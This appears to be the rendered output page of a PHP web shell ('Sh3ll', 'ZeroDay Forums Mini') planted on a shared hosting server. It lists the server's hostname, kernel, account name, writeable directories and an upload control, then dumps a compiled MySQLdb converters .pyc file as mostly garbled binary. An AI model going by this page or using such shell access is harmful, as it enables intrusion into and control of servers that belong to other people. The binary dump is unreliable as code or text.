Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /opt/hc_python/lib64/python3.12/site-packages/MySQLdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/hc_python/lib64/python3.12/site-packages/MySQLdb/__pycache__/converters.cpython-312.pyc
�

���g��|�dZddlmZddlmZddlmZmZddlm	Z	m
Z
mZmZm
Z
mZmZmZddlmZddlZed�Z	ej,Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zej@e!fde"ffZ#ie$e�e%e�ee�ee�e&e�e	e�e
e�ee
�e'e�ee�ejPe$�ejRe$�ejTe$�ejVe%�ejXe%�ejZe�ej\e�ej^e$ej`e$ejbe$ejdeejfeejheejjeejle!ejne!ejpe!ejre!ejte!ejve!ejxe!ejze!i�Z>y#e$rej&ZY��pwxYw)a�MySQLdb type conversion module

This module handles all the type conversions for MySQL. If the default
type conversions aren't what you need, you can make your own. The
dictionary conversions maps some kind of type to a conversion function
which returns the corresponding value:

Key: FIELD_TYPE.* (from MySQLdb.constants)

Conversion function:

    Arguments: string

    Returns: Python object

Key: Python type object (from types) or class

Conversion function:

    Arguments: Python object of indicated type or class AND
               conversion dictionary

    Returns: SQL literal value

    Notes: Most conversion functions can ignore the dictionary, but
           it is a required parameter. It is necessary for converting
           things like sequences and instances.

Don't modify conversions if you can avoid it. Instead, make copies
(with the copy() method), modify the copies, and then pass them to
MySQL.connect().
�)�Decimal��string_literal)�
FIELD_TYPE�FLAG)�Date�DateTimeType�DateTime2literal�DateTimeDeltaType�DateTimeDelta2literal�DateTime_or_None�TimeDelta_or_None�Date_or_None)�ProgrammingErrorNc��|rdSdS)N�1�0���s�ds  �C/opt/hc_python/lib64/python3.12/site-packages/MySQLdb/converters.py�Bool2Strr;s���4��$��c�6�tdj|��S)N�,)r�joinrs  r�Set2Strr?s���#�(�(�1�+�&�&rc��t|�S)z*Convert something into a string via str().)�strrs  r�	Thing2Strr!Ds���q�6�Mrc�R�t|�}|dvrtd|z��d|vr|dz
}|S)N)�infz-inf�nanz%s can not be used with MySQL�e�e0)�reprr)�orrs   r�	Float2Strr)Is:���Q��A��"�"��>��B�C�C�
�!�|�	�T�	���Hrc��y)zConvert None to NULL.sNULLr�r(rs  r�	None2NULLr,Rs��rc��t|�S)z�Convert something into a SQL string literal.  If using
    MySQL-3.23 or newer, string_literal() is a method of the
    _mysql.MYSQL object, and this function will be overridden with
    that method when the connection is created.rr+s  r�
Thing2Literalr.Ws��
�!��rc��t|d�S)N�f)�formatr+s  r�Decimal2Literalr2_s���!�S�>�rc�6�t|j�|�S)N)r.�tostringr+s  r�	array2Strr5cs�������q�)�)r)?�__doc__�decimalr�MySQLdb._mysqlr�MySQLdb.constantsrr�
MySQLdb.timesrr	r
rrr
rr�MySQLdb._exceptionsr�array�type�NoneType�	ArrayType�AttributeErrorrrr!r)r,r.r2r5�BINARY�bytesr �
_bytes_or_str�int�float�bool�set�TINY�SHORT�LONG�FLOAT�DOUBLE�DECIMAL�
NEWDECIMAL�LONGLONG�INT24�YEAR�	TIMESTAMP�DATETIME�TIME�DATE�	TINY_BLOB�MEDIUM_BLOB�	LONG_BLOB�BLOB�STRING�
VAR_STRING�VARCHAR�JSON�conversionsrrr�<module>r_s=���@�)�.�	�	�	�1����:������I�
�'�
�

��
��*�
�+�+�u�%��c�{�3�
�!���!�	�9�!�
�i�!��y�	!�
	�(�!�	�-�
!��"�!��,�!���!��_�!��O�O�S�!����c�!��O�O�S�!����e�!����u�!� ����!!�"���7�#!�$�������c��O�O�S����*����)��O�O�&��O�O�\����%����E����%��O�O�U����u����5������O�O�U�A!���g�����I��s�F&�&F;�:F;

ZeroDay Forums Mini